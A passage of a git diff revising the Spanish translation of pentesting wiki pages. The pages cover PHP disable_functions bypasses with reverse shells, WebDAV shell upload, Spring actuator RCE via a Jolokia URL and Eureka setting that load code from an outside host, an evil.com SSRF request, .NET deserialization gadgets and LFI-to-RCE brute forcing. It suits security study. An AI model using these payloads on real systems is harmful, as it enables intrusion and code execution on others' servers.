PHP que **prohibirá** el uso de las **funciones** indicadas. **Open basedir** es la configuración que indica a PHP la carpeta a la que puede acceder.\ +**Funciones deshabilitadas** es la configuración que se puede configurar en archivos `.ini` en PHP que **prohíbe** el uso de las **funciones** indicadas. **Open basedir** es la configuración que indica a PHP la carpeta a la que puede acceder.\ La configuración de PHP suele estar en la ruta _/etc/php7/conf.d_ o similar. Ambas configuraciones se pueden ver en la salida de **`phpinfo()`**: @@ -478,11 +478,11 @@ También nota la **línea comentada 324**, puedes descomentarla y el **payload s Solo accede a `http://vulnerable.com:1337/l.php?cmd=echo file_get_contents('/etc/passwd');` para obtener el contenido del archivo `/etc/passwd`. > [!WARNING] -> Puede que estés pensando que de la misma manera en que hemos sobrescrito la configuración de `open_basedir`, podemos **sobrescribir `disable_functions`**. Bueno, inténtalo, pero no funcionará, aparentemente **`disable_functions` solo se puede configurar en un archivo de configuración `.ini` de php** y los cambios que realices usando PHP_VALUE no serán efectivos en esta configuración específica. +> Puede que estés pensando que de la misma manera en que hemos sobrescrito la configuración de `open_basedir` podemos **sobrescribir `disable_functions`**. Bueno, inténtalo, pero no funcionará, aparentemente **`disable_functions` solo se puede configurar en un archivo de configuración `.ini` de php** y los cambios que realices usando PHP_VALUE no serán efectivos en esta configuración específica. ## Bypass de disable_functions -Si logras ejecutar código PHP dentro de una máquina, probablemente querrás llevarlo al siguiente nivel y **ejecutar comandos del sistema arbitrarios**. En esta situación es común descubrir que la mayoría o todas las **funciones** de PHP que permiten **ejecutar comandos del sistema han sido deshabilitadas** en **`disable_functions`.**\ +Si logras tener código PHP ejecutándose dentro de una máquina, probablemente querrás llevarlo al siguiente nivel y **ejecutar comandos del sistema arbitrarios**. En esta situación es habitual descubrir que la mayoría o todas las **funciones** de PHP que permiten **ejecutar comandos del sistema han sido deshabilitadas** en **`disable_functions`.**\ Así que, veamos cómo puedes eludir esta restricción (si puedes). ### Descubrimiento automático de bypass @@ -523,8 +523,8 @@ return 1; ``` #### Bypass usando Chankro -Para abusar de esta mala configuración, puedes [**Chankro**](https://github.com/TarlogicSecurity/Chankro). Esta es una herramienta que **genera un exploit PHP** que necesitas subir al servidor vulnerable y ejecutarlo (acceder a él a través de la web).\ -**Chankro** escribirá dentro del disco de la víctima la **biblioteca y el reverse shell** que deseas ejecutar y usará el\*\*`LD_PRELOAD` trick + la función PHP `mail()`\*\* para ejecutar el reverse shell. +Para abusar de esta mala configuración, puedes [**Chankro**](https://github.com/TarlogicSecurity/Chankro). Esta es una herramienta que **generará un exploit PHP** que necesitas subir al servidor vulnerable y ejecutarlo (acceder a él a través de la web).\ +**Chankro** escribirá dentro del disco de la víctima la **biblioteca y el reverse shell** que deseas ejecutar y usará el **truco `LD_PRELOAD` + la función PHP `mail()`** para ejecutar el reverse shell. Ten en cuenta que para usar **Chankro**, `mail` y `putenv` **no pueden aparecer en la lista de `disable_functions`**.\ En el siguiente ejemplo puedes ver cómo **crear un exploit chankro** para **arch 64**, que ejecutará `whoami` y guardará la salida en _/tmp/chankro_shell.out_, chankro **escribirá la biblioteca y el payload** en _/tmp_ y el **exploit final** se llamará **bicho.php** (ese es el archivo que necesitas subir al servidor de la víctima): @@ -555,7 +555,7 @@ Quizás usando **PHP** para **enumerar** la caja puedas encontrar una forma de e He creado un webshell que facilita mucho realizar estas acciones (ten en cuenta que la mayoría de los webshells también te ofrecerán estas opciones): [https://github.com/carlospolop/phpwebshelllimited](https://github.com/carlospolop/phpwebshelllimited) -### Bypass dependientes de módulos/versiones +### Bypasses dependientes de módulos/versiones Hay varias formas de eludir disable_functions si se está utilizando algún módulo específico o explotar alguna versión específica de PHP: @@ -564,7 +564,7 @@ Hay varias formas de eludir disable_functions si se está utilizando algún mód - [**Bypass a través de mem**](disable_functions-bypass-via-mem.md) - [**mod_cgi**](disable_functions-bypass-mod_cgi.md) - [**Extensión PHP Perl Safe_mode**](disable_functions-bypass-php-perl-extension-safe_mode-bypass-exploit.md) -- [**Función dl**](disable_functions-bypass-dl-function.md) +- [**función dl**](disable_functions-bypass-dl-function.md) - [**Este exploit**](https://github.com/mm0r1/exploits/tree/master/php-filter-bypass) - 5.\* - explotable con cambios menores al PoC - 7.0 - todas las versiones hasta la fecha @@ -581,7 +581,7 @@ Hay varias formas de eludir disable_functions si se está utilizando algún mód - [**PHP <= 5.2.9 Windows**](disable_functions-bypass-php-less-than-5.2.9-on-windows.md) - [**PHP 5.2.4/5.2.5 cURL**](disable_functions-bypass-php-5.2.4-and-5.2.5-php-curl.md) - [**PHP 5.2.3 -Win32std**](disable_functions-bypass-php-5.2.3-win32std-ext-protections-bypass.md) -- [**Explotación FOpen de PHP 5.2**](disable_functions-bypass-php-5.2-fopen-exploit.md) +- [**Explotación de PHP 5.2 FOpen**](disable_functions-bypass-php-5.2-fopen-exploit.md) - [**PHP 4 >= 4.2.-, PHP 5 pcntl_exec**](disable_functions-bypass-php-4-greater-than-4.2.0-php-5-pcntl_exec.md) ### **Herramienta Automática** @@ -593,7 +593,7 @@ El siguiente script prueba algunos de los métodos comentados aquí:\ ### Lista de funciones que aceptan callbacks -Estas funciones aceptan un parámetro de cadena que podría usarse para llamar a una función de elección del atacante. Dependiendo de la función, el atacante puede o no tener la capacidad de pasar un parámetro. En ese caso, se podría usar una función de divulgación de información como phpinfo(). +Estas funciones aceptan un parámetro de cadena que podría usarse para llamar a una función de la elección del atacante. Dependiendo de la función, el atacante puede o no tener la capacidad de pasar un parámetro. En ese caso, se podría usar una función de divulgación de información como phpinfo(). [Callbacks / Callables](https://www.php.net/manual/en/language.types.callable.php) @@ -679,7 +679,7 @@ posix_setuid Según RATS, todas las funciones del sistema de archivos en php son desagradables. Algunas de estas no parecen muy útiles para el atacante. Otras son más útiles de lo que podrías pensar. Por ejemplo, si allow_url_fopen=On, entonces una URL puede ser utilizada como una ruta de archivo, por lo que una llamada a copy($\_GET\['s'], $\_GET\['d']); puede ser utilizada para subir un script PHP en cualquier parte del sistema. Además, si un sitio es vulnerable a una solicitud enviada a través de GET, cada una de esas funciones del sistema de archivos puede ser abusada para canalizar un ataque a otro host a través de tu servidor. -**Manejador de sistema de archivos abierto** +**Controlador de sistema de archivos abierto** ```php fopen tmpfile diff --git a/src/network-services-pentesting/pentesting-web/put-method-webdav.md b/src/network-services-pentesting/pentesting-web/put-method-webdav.md index 26e3a61ac..8dc92e4bd 100644 --- a/src/network-services-pentesting/pentesting-web/put-method-webdav.md +++ b/src/network-services-pentesting/pentesting-web/put-method-webdav.md @@ -37,7 +37,7 @@ curl -T 'shell.txt' 'http://$ip' ```bash curl -X MOVE --header 'Destination:http://$ip/shell.php' 'http://$ip/shell.txt' ``` -## IIS5/6 WebDav Vulnerability +## Vulnerabilidad de WebDav en IIS5/6 Esta vulnerabilidad es muy interesante. El **WebDav** **no permite** **subir** o **renombrar** archivos con la extensión **.asp**. Pero puedes **eludir** esto **agregando** al final del nombre **";.txt"** y el archivo será **ejecutado** como si fuera un archivo .asp (también podrías **usar ".html" en lugar de ".txt"** pero **NO olvides el ";"**). @@ -45,10 +45,10 @@ Luego puedes **subir** tu shell como un archivo ".**txt"** y **copiar/moverlo a ![](<../../images/image (1092).png>) -## Post credentials +## Credenciales post Si el Webdav estaba usando un servidor Apache, deberías mirar los sitios configurados en Apache. Comúnmente:\ -\_**/etc/apache2/sites-enabled/000-default**_ +_**/etc/apache2/sites-enabled/000-default**_ Dentro podrías encontrar algo como: ``` diff --git a/src/network-services-pentesting/pentesting-web/special-http-headers.md b/src/network-services-pentesting/pentesting-web/special-http-headers.md index dae475456..4f8c4812b 100644 --- a/src/network-services-pentesting/pentesting-web/special-http-headers.md +++ b/src/network-services-pentesting/pentesting-web/special-http-headers.md @@ -43,7 +43,7 @@ Un encabezado hop-by-hop es un encabezado diseñado para ser procesado y consumi ../../pentesting-web/abusing-hop-by-hop-headers.md {{#endref}} -## Secuestro de solicitudes HTTP +## HTTP Request Smuggling - `Content-Length: 30` - `Transfer-Encoding: chunked` @@ -58,7 +58,7 @@ Un encabezado hop-by-hop es un encabezado diseñado para ser procesado y consumi - **`X-Cache`** en la respuesta puede tener el valor **`miss`** cuando la solicitud no fue almacenada en caché y el valor **`hit`** cuando está almacenada en caché - Comportamiento similar en el encabezado **`Cf-Cache-Status`** -- **`Cache-Control`** indica si un recurso está siendo almacenado en caché y cuándo será la próxima vez que el recurso se almacenará en caché nuevamente: `Cache-Control: public, max-age=1800` +- **`Cache-Control`** indica si un recurso está siendo almacenado en caché y cuándo será la próxima vez que el recurso será almacenado en caché nuevamente: `Cache-Control: public, max-age=1800` - **`Vary`** se usa a menudo en la respuesta para **indicar encabezados adicionales** que se tratan como **parte de la clave de caché** incluso si normalmente no tienen clave. - **`Age`** define el tiempo en segundos que el objeto ha estado en la caché del proxy. - **`Server-Timing: cdn-cache; desc=HIT`** también indica que un recurso fue almacenado en caché @@ -70,7 +70,7 @@ Un encabezado hop-by-hop es un encabezado diseñado para ser procesado y consumi **Encabezados de caché local**: - `Clear-Site-Data`: Encabezado para indicar la caché que debe ser eliminada: `Clear-Site-Data: "cache", "cookies"` -- `Expires`: Contiene la fecha/hora en que la respuesta debe expirar: `Expires: Wed, 21 Oct 2015 07:28:00 GMT` +- `Expires`: Contiene la fecha/hora cuando la respuesta debe expirar: `Expires: Wed, 21 Oct 2015 07:28:00 GMT` - `Pragma: no-cache` igual que `Cache-Control: no-cache` - `Warning`: El encabezado HTTP general **`Warning`** contiene información sobre posibles problemas con el estado del mensaje. Puede aparecer más de un encabezado `Warning` en una respuesta. `Warning: 110 anderson/1.3.37 "Response is stale"` @@ -78,13 +78,13 @@ Un encabezado hop-by-hop es un encabezado diseñado para ser procesado y consumi - Las solicitudes que utilizan estos encabezados: **`If-Modified-Since`** y **`If-Unmodified-Since`** recibirán respuesta con datos solo si el encabezado de respuesta **`Last-Modified`** contiene un tiempo diferente. - Las solicitudes condicionales que utilizan **`If-Match`** y **`If-None-Match`** utilizan un valor Etag para que el servidor web envíe el contenido de la respuesta si los datos (Etag) han cambiado. El `Etag` se toma de la respuesta HTTP. -- El valor **Etag** se calcula generalmente **basado** en el **contenido** de la respuesta. Por ejemplo, `ETag: W/"37-eL2g8DEyqntYlaLp5XLInBWsjWI"` indica que el `Etag` es el **Sha1** de **37 bytes**. +- El valor **Etag** generalmente se **calcula** en función del **contenido** de la respuesta. Por ejemplo, `ETag: W/"37-eL2g8DEyqntYlaLp5XLInBWsjWI"` indica que el `Etag` es el **Sha1** de **37 bytes**. ## Solicitudes de rango - **`Accept-Ranges`**: Indica si el servidor admite solicitudes de rango, y si es así, en qué unidad se puede expresar el rango. `Accept-Ranges: ` -- **`Range`**: Indica la parte de un documento que el servidor debe devolver. Por ejemplo, `Range:80-100` devolverá los bytes 80 a 100 de la respuesta original con un código de estado de 206 Contenido parcial. También recuerda eliminar el encabezado `Accept-Encoding` de la solicitud. -- Esto podría ser útil para obtener una respuesta con código JavaScript reflejado arbitrario que de otro modo podría ser escapado. Pero para abusar de esto necesitarías inyectar estos encabezados en la solicitud. +- **`Range`**: Indica la parte de un documento que el servidor debe devolver. Por ejemplo, `Range:80-100` devolverá los bytes 80 a 100 de la respuesta original con un código de estado 206 Partial Content. También recuerda eliminar el encabezado `Accept-Encoding` de la solicitud. +- Esto podría ser útil para obtener una respuesta con código javascript reflejado arbitrario que de otro modo podría ser escapado. Pero para abusar de esto necesitarías inyectar estos encabezados en la solicitud. - **`If-Range`**: Crea una solicitud de rango condicional que solo se cumple si el etag o la fecha dados coinciden con el recurso remoto. Se utiliza para evitar descargar dos rangos de versiones incompatibles del recurso. - **`Content-Range`**: Indica dónde en un mensaje de cuerpo completo pertenece un mensaje parcial. @@ -96,7 +96,7 @@ Un encabezado hop-by-hop es un encabezado diseñado para ser procesado y consumi - **`Content-Language`**: Describe el/los idioma(s) humano(s) destinados a la audiencia, para que permita a un usuario diferenciar según el idioma preferido del usuario. - **`Content-Location`**: Indica una ubicación alternativa para los datos devueltos. -Desde el punto de vista de un pentest, esta información suele ser "inútil", pero si el recurso está **protegido** por un 401 o 403 y puedes encontrar alguna **manera** de **obtener** esta **información**, esto podría ser **interesante.**\ +Desde el punto de vista de un pentest, esta información suele ser "inútil", pero si el recurso está **protegido** por un 401 o 403 y puedes encontrar alguna **manera** de **obtener** esta **info**, esto podría ser **interesante.**\ Por ejemplo, una combinación de **`Range`** y **`Etag`** en una solicitud HEAD puede filtrar el contenido de la página a través de solicitudes HEAD: - Una solicitud con el encabezado `Range: bytes=20-20` y con una respuesta que contiene `ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"` está filtrando que el SHA1 del byte 20 es `ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y` @@ -109,11 +109,11 @@ Por ejemplo, una combinación de **`Range`** y **`Etag`** en una solicitud HEAD ## Controles - **`Allow`**: Este encabezado se utiliza para comunicar los métodos HTTP que un recurso puede manejar. Por ejemplo, podría especificarse como `Allow: GET, POST, HEAD`, indicando que el recurso admite estos métodos. -- **`Expect`**: Utilizado por el cliente para transmitir expectativas que el servidor necesita cumplir para que la solicitud se procese con éxito. Un caso de uso común implica el encabezado `Expect: 100-continue`, que señala que el cliente tiene la intención de enviar una carga de datos grande. El cliente busca una respuesta `100 (Continue)` antes de continuar con la transmisión. Este mecanismo ayuda a optimizar el uso de la red al esperar la confirmación del servidor. +- **`Expect`**: Utilizado por el cliente para transmitir expectativas que el servidor necesita cumplir para que la solicitud se procese con éxito. Un caso de uso común implica el encabezado `Expect: 100-continue`, que señala que el cliente tiene la intención de enviar una carga de datos grande. El cliente busca una respuesta `100 (Continue)` antes de proceder con la transmisión. Este mecanismo ayuda a optimizar el uso de la red al esperar la confirmación del servidor. ## Descargas -- El encabezado **`Content-Disposition`** en las respuestas HTTP indica si un archivo debe mostrarse **en línea** (dentro de la página web) o tratarse como un **adjunto** (descargado). Por ejemplo: +- El encabezado **`Content-Disposition`** en las respuestas HTTP indica si un archivo debe ser mostrado **inline** (dentro de la página web) o tratado como un **adjunto** (descargado). Por ejemplo: ``` Content-Disposition: attachment; filename="filename.jpg" ``` @@ -129,7 +129,7 @@ Esto significa que el archivo llamado "filename.jpg" está destinado a ser desca ### **Tipos de Confianza** -Al hacer cumplir los Tipos de Confianza a través de CSP, las aplicaciones pueden protegerse contra ataques XSS en el DOM. Los Tipos de Confianza aseguran que solo se puedan utilizar objetos específicamente diseñados, que cumplan con las políticas de seguridad establecidas, en llamadas a API web peligrosas, asegurando así el código JavaScript por defecto. +Al hacer cumplir los Tipos de Confianza a través de CSP, las aplicaciones pueden protegerse contra ataques XSS en el DOM. Los Tipos de Confianza aseguran que solo se puedan utilizar objetos específicamente elaborados, que cumplan con las políticas de seguridad establecidas, en llamadas a API web peligrosas, asegurando así el código JavaScript por defecto. ```javascript // Feature detection if (window.trustedTypes && trustedTypes.createPolicy) { diff --git a/src/network-services-pentesting/pentesting-web/spring-actuators.md b/src/network-services-pentesting/pentesting-web/spring-actuators.md index 189899aa2..6cc9ec649 100644 --- a/src/network-services-pentesting/pentesting-web/spring-actuators.md +++ b/src/network-services-pentesting/pentesting-web/spring-actuators.md @@ -1,33 +1,33 @@ -# Actuadores de Spring +# Spring Actuators {{#include ../../banners/hacktricks-training.md}} -## **Bypass de Autenticación de Spring** +## **Spring Auth Bypass**
-**De** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png)\*\*\*\* +**Desde** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png) -## Explotando Actuadores de Spring Boot +## Explotando Spring Boot Actuators **Consulta la publicación original en** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**] ### **Puntos Clave:** -- Los Actuadores de Spring Boot registran puntos finales como `/health`, `/trace`, `/beans`, `/env`, etc. En las versiones 1 a 1.4, estos puntos finales son accesibles sin autenticación. A partir de la versión 1.5, solo `/health` y `/info` son no sensibles por defecto, pero los desarrolladores a menudo desactivan esta seguridad. -- Ciertos puntos finales de Actuador pueden exponer datos sensibles o permitir acciones dañinas: +- Spring Boot Actuators registra endpoints como `/health`, `/trace`, `/beans`, `/env`, etc. En las versiones 1 a 1.4, estos endpoints son accesibles sin autenticación. A partir de la versión 1.5, solo `/health` y `/info` son no sensibles por defecto, pero los desarrolladores a menudo desactivan esta seguridad. +- Ciertos endpoints de Actuator pueden exponer datos sensibles o permitir acciones dañinas: - `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart`, y `/heapdump`. - En Spring Boot 1.x, los actuadores se registran bajo la URL raíz, mientras que en 2.x, están bajo la ruta base `/actuator/`. ### **Técnicas de Explotación:** 1. **Ejecución de Código Remoto a través de '/jolokia'**: -- El punto final del actuador `/jolokia` expone la Biblioteca Jolokia, que permite el acceso HTTP a MBeans. +- El endpoint del actuador `/jolokia` expone la Biblioteca Jolokia, que permite el acceso HTTP a MBeans. - La acción `reloadByURL` puede ser explotada para recargar configuraciones de registro desde una URL externa, lo que puede llevar a XXE ciego o Ejecución de Código Remoto a través de configuraciones XML manipuladas. - URL de ejemplo para explotación: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`. 2. **Modificación de Configuración a través de '/env'**: -- Si las Bibliotecas de Spring Cloud están presentes, el punto final `/env` permite la modificación de propiedades ambientales. +- Si las Bibliotecas de Spring Cloud están presentes, el endpoint `/env` permite la modificación de propiedades ambientales. - Las propiedades pueden ser manipuladas para explotar vulnerabilidades, como la vulnerabilidad de deserialización de XStream en el Eureka serviceURL. - Ejemplo de solicitud POST para explotación: @@ -46,21 +46,19 @@ eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream ### **Información Adicional:** - Una lista completa de actuadores por defecto se puede encontrar [aquí](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt). -- El punto final `/env` en Spring Boot 2.x utiliza formato JSON para la modificación de propiedades, pero el concepto general sigue siendo el mismo. +- El endpoint `/env` en Spring Boot 2.x utiliza formato JSON para la modificación de propiedades, pero el concepto general sigue siendo el mismo. ### **Temas Relacionados:** 1. **Env + H2 RCE**: -- Los detalles sobre la explotación de la combinación del punto final `/env` y la base de datos H2 se pueden encontrar [aquí](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database). -2. **SSRF en Spring Boot a través de la Interpretación Incorrecta de Nombres de Ruta**: +- Los detalles sobre la explotación de la combinación del endpoint `/env` y la base de datos H2 se pueden encontrar [aquí](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database). +2. **SSRF en Spring Boot a través de la Interpretación Incorrecta de Nombres de Ruta**: - El manejo de parámetros de matriz (`;`) en nombres de ruta HTTP por parte del marco de Spring puede ser explotado para Server-Side Request Forgery (SSRF). - Ejemplo de solicitud de explotación: - ```http GET ;@evil.com/url HTTP/1.1 Host: target.com Connection: close ``` - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md b/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md index 772e0eccf..9753aa8f8 100644 --- a/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md +++ b/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md @@ -2,7 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} -Esta publicación está dedicada a **entender cómo se explota el gadget ObjectDataProvider** para obtener RCE y **cómo** las bibliotecas de Serialización **Json.Net y xmlSerializer pueden ser abusadas** con ese gadget. +Esta publicación está dedicada a **entender cómo se explota el gadget ObjectDataProvider** para obtener RCE y **cómo** las bibliotecas de serialización **Json.Net y xmlSerializer pueden ser abusadas** con ese gadget. ## Gadget ObjectDataProvider @@ -30,9 +30,9 @@ Ten en cuenta que al final del código se llama a `this.QueryWorke(null)`. Veamo ![](<../../images/image (596).png>) -Ten en cuenta que este no es el código completo de la función `QueryWorker`, pero muestra la parte interesante de ella: El código **llama a `this.InvokeMethodOnInstance(out ex);`** esta es la línea donde se **invoca el método establecido**. +Ten en cuenta que este no es el código completo de la función `QueryWorker`, pero muestra la parte interesante de la misma: El código **llama a `this.InvokeMethodOnInstance(out ex);`** esta es la línea donde se **invoca el método establecido**. -Si quieres comprobar que solo estableciendo el _**MethodName**_\*\* se ejecutará\*\*, puedes ejecutar este código: +Si quieres comprobar que solo estableciendo el _**MethodName**_** se ejecutará**, puedes ejecutar este código: ```java using System.Windows.Data; using System.Diagnostics; @@ -52,14 +52,14 @@ myODP.MethodName = "Start"; } } ``` -Note que necesita agregar como referencia _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ para cargar `System.Windows.Data` +Tenga en cuenta que necesita agregar como referencia _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ para cargar `System.Windows.Data` ## ExpandedWrapper -Usando el exploit anterior, habrá casos en los que el **objeto** será **deserializado como** una instancia de _**ObjectDataProvider**_ (por ejemplo, en la vulnerabilidad de DotNetNuke, usando XmlSerializer, el objeto fue deserializado usando `GetType`). Entonces, **no tendrá conocimiento del tipo de objeto que está envuelto** en la instancia de _ObjectDataProvider_ (por ejemplo, `Process`). Puede encontrar más [información sobre la vulnerabilidad de DotNetNuke aquí](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1). +Usando el exploit anterior, habrá casos en los que el **objeto** se va a **deserializar como** una instancia de _**ObjectDataProvider**_ (por ejemplo, en la vulnerabilidad de DotNetNuke, usando XmlSerializer, el objeto se deserializó usando `GetType`). Entonces, **no tendrá conocimiento del tipo de objeto que está envuelto** en la instancia de _ObjectDataProvider_ (por ejemplo, `Process`). Puede encontrar más [información sobre la vulnerabilidad de DotNetNuke aquí](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1). Esta clase permite **especificar los tipos de objeto de los objetos que están encapsulados** en una instancia dada. Por lo tanto, esta clase se puede usar para encapsular un objeto fuente (_ObjectDataProvider_) en un nuevo tipo de objeto y proporcionar las propiedades que necesitamos (_ObjectDataProvider.MethodName_ y _ObjectDataProvider.MethodParameters_).\ -Esto es muy útil para casos como el presentado anteriormente, porque podremos **envolver \_ObjectDataProvider**_\*\* dentro de una instancia de \*\*_**ExpandedWrapper** \_ y **cuando se deserialice** esta clase **creará** el objeto _**OjectDataProvider**_ que **ejecutará** la **función** indicada en _**MethodName**_. +Esto es muy útil para casos como el presentado anteriormente, porque podremos **envolver \_ObjectDataProvider**_** dentro de una instancia de **_**ExpandedWrapper** \_ y **cuando se deserialice** esta clase **creará** el objeto _**OjectDataProvider**_ que **ejecutará** la **función** indicada en _**MethodName**_. Puede verificar este envoltorio con el siguiente código: ```java @@ -89,7 +89,7 @@ En la [página web oficial](https://www.newtonsoft.com/json) se indica que esta ### Ejemplo de Json.Net -Primero que nada, veamos un ejemplo de cómo **serializar/deserializar** un objeto utilizando esta biblioteca: +Primero que nada, veamos un ejemplo de cómo **serializar/deserializar** un objeto usando esta biblioteca: ```java using System; using Newtonsoft.Json; @@ -132,7 +132,7 @@ Console.WriteLine(desaccount.Email); } } ``` -### Abusando de Json.Net +### Abusando Json.Net Usando [ysoserial.net](https://github.com/pwntester/ysoserial.net) creé el exploit: ```java diff --git a/src/pentesting-web/file-inclusion/lfi2rce-via-eternal-waiting.md b/src/pentesting-web/file-inclusion/lfi2rce-via-eternal-waiting.md index dee80bcdc..0e6685c47 100644 --- a/src/pentesting-web/file-inclusion/lfi2rce-via-eternal-waiting.md +++ b/src/pentesting-web/file-inclusion/lfi2rce-via-eternal-waiting.md @@ -17,14 +17,14 @@ También, el **número de nombres de archivos potenciales es 62\*62\*62\*62\*62\ ### Otras técnicas -Otras técnicas se basan en atacar protocolos de PHP (no podrás hacerlo si solo controlas la última parte de la ruta), divulgando la ruta del archivo, abusando de archivos esperados, o **haciendo que PHP sufra un fallo de segmentación para que los archivos temporales subidos no sean eliminados**.\ +Otras técnicas se basan en atacar protocolos de PHP (no podrás hacerlo si solo controlas la última parte de la ruta), divulgar la ruta del archivo, abusar de archivos esperados, o **hacer que PHP sufra un fallo de segmentación para que los archivos temporales subidos no sean eliminados**.\ Esta técnica es **muy similar a la anterior pero sin necesidad de encontrar un zero day**. ### Técnica de espera eterna En esta técnica **solo necesitamos controlar una ruta relativa**. Si logramos subir archivos y hacer que el **LFI nunca termine**, tendremos "suficiente tiempo" para **realizar un ataque de fuerza bruta a los archivos subidos** y **encontrar** cualquiera de los que se hayan subido. -**Ventajas de esta técnica**: +**Pros de esta técnica**: - Solo necesitas controlar una ruta relativa dentro de un include - No requiere nginx ni un nivel inesperado de acceso a archivos de registro @@ -34,7 +34,7 @@ En esta técnica **solo necesitamos controlar una ruta relativa**. Si logramos s Los **principales problemas** de esta técnica son: - Necesita que un archivo(s) específico(s) esté(n) presente(s) (puede haber más) -- La **increíble** cantidad de nombres de archivos potenciales: **56800235584** +- La **cantidad insana** de nombres de archivos potenciales: **56800235584** - Si el servidor **no está usando dígitos**, la cantidad total potencial es: **19770609664** - Por defecto, **solo se pueden subir 20 archivos** en una **solicitud única**. - El **número máximo de trabajadores paralelos** del servidor utilizado. @@ -65,20 +65,20 @@ Hagamos algunos cálculos: > [!WARNING] > ¡Ten en cuenta que en el ejemplo anterior estamos **completamente DoSing a otros clientes**! -Si el servidor Apache se mejora y pudiéramos abusar de **4000 conexiones** (a medio camino del número máximo). Podríamos crear `3999*20 = 79980` **archivos** y el **número** se reduciría a alrededor de **19.7h** o **6.9h** (10h, 3.5h 50% de probabilidad). +Si el servidor Apache se mejora y pudiéramos abusar de **4000 conexiones** (a medio camino del número máximo). Podríamos crear `3999*20 = 79980` **archivos** y el **número** se **reduciría** a alrededor de **19.7h** o **6.9h** (10h, 3.5h 50% de probabilidad). ## PHP-FMP Si en lugar de usar el módulo php regular para apache para ejecutar scripts PHP, la **página web está usando** **PHP-FMP** (esto mejora la eficiencia de la página web, por lo que es común encontrarlo), hay algo más que se puede hacer para mejorar la técnica. PHP-FMP permite **configurar** el **parámetro** **`request_terminate_timeout`** en **`/etc/php//fpm/pool.d/www.conf`**.\ -Este parámetro indica la cantidad máxima de segundos **cuando** **la solicitud a PHP debe terminar** (infinito por defecto, pero **30s si el parámetro está descomentado**). Cuando una solicitud está siendo procesada por PHP el número de segundos indicado, es **eliminada**. Esto significa que, si la solicitud estaba subiendo archivos temporales, porque el **procesamiento de PHP fue detenido**, esos **archivos no se van a eliminar**. Por lo tanto, si puedes hacer que una solicitud dure ese tiempo, puedes **generar miles de archivos temporales** que no serán eliminados, lo que **acelerará el proceso de encontrarlos** y reduce la probabilidad de un DoS a la plataforma consumiendo todas las conexiones. +Este parámetro indica la cantidad máxima de segundos **cuando** **la solicitud a PHP debe terminar** (infinito por defecto, pero **30s si el parámetro está descomentado**). Cuando una solicitud está siendo procesada por PHP el número de segundos indicado, es **terminada**. Esto significa que, si la solicitud estaba subiendo archivos temporales, porque el **procesamiento de PHP fue detenido**, esos **archivos no se van a eliminar**. Por lo tanto, si puedes hacer que una solicitud dure ese tiempo, puedes **generar miles de archivos temporales** que no serán eliminados, lo que **acelerará el proceso de encontrarlos** y reduce la probabilidad de un DoS a la plataforma al consumir todas las conexiones. -Entonces, para **evitar DoS** supongamos que un **atacante estará usando solo 100 conexiones** al mismo tiempo y el tiempo máximo de procesamiento por PHP **php-fmp** (`request_terminate_timeout`**)** es **30s**. Por lo tanto, el número de **archivos temporales** que se pueden generar **por segundo** es `100*20/30 = 66.67`. +Entonces, para **evitar DoS** supongamos que un **atacante estará usando solo 100 conexiones** al mismo tiempo y el tiempo máximo de procesamiento por **php-fmp** (`request_terminate_timeout`**)** es **30s**. Por lo tanto, el número de **archivos temporales** que se pueden generar **por segundo** es `100*20/30 = 66.67`. Luego, para generar **10000 archivos** un atacante necesitaría: **`10000/66.67 = 150s`** (para generar **100000 archivos** el tiempo sería **25min**). -Luego, el atacante podría usar esas **100 conexiones** para realizar una **búsqueda de fuerza bruta**. \*\*\*\* Suponiendo una velocidad de 300 req/s el tiempo necesario para explotar esto es el siguiente: +Luego, el atacante podría usar esas **100 conexiones** para realizar una **búsqueda de fuerza bruta**. Suponiendo una velocidad de 300 req/s, el tiempo necesario para explotar esto es el siguiente: - 56800235584 / 10000 / 300 / 3600 \~= **5.25 horas** (50% de probabilidad en 2.63h) - (con 100000 archivos) 56800235584 / 100000 / 300 / 3600 \~= **0.525 horas** (50% de probabilidad en 0.263h) diff --git a/src/pentesting-web/file-upload/README.md b/src/pentesting-web/file-upload/README.md index bc9f9c00d..17207d5a7 100644 --- a/src/pentesting-web/file-upload/README.md +++ b/src/pentesting-web/file-upload/README.md @@ -21,7 +21,7 @@ Otras extensiones útiles: 2. _Verifica **agregando una extensión válida antes** de la extensión de ejecución (usa también las extensiones anteriores):_ - _file.png.php_ - _file.png.Php5_ -3. Intenta agregar **caracteres especiales al final.** Podrías usar Burp para **bruteforce** todos los **caracteres ascii** y **Unicode**. (_Ten en cuenta que también puedes intentar usar las **extensiones** mencionadas **anteriormente**_) +3. Intenta agregar **caracteres especiales al final.** Podrías usar Burp para **bruteforce** todos los 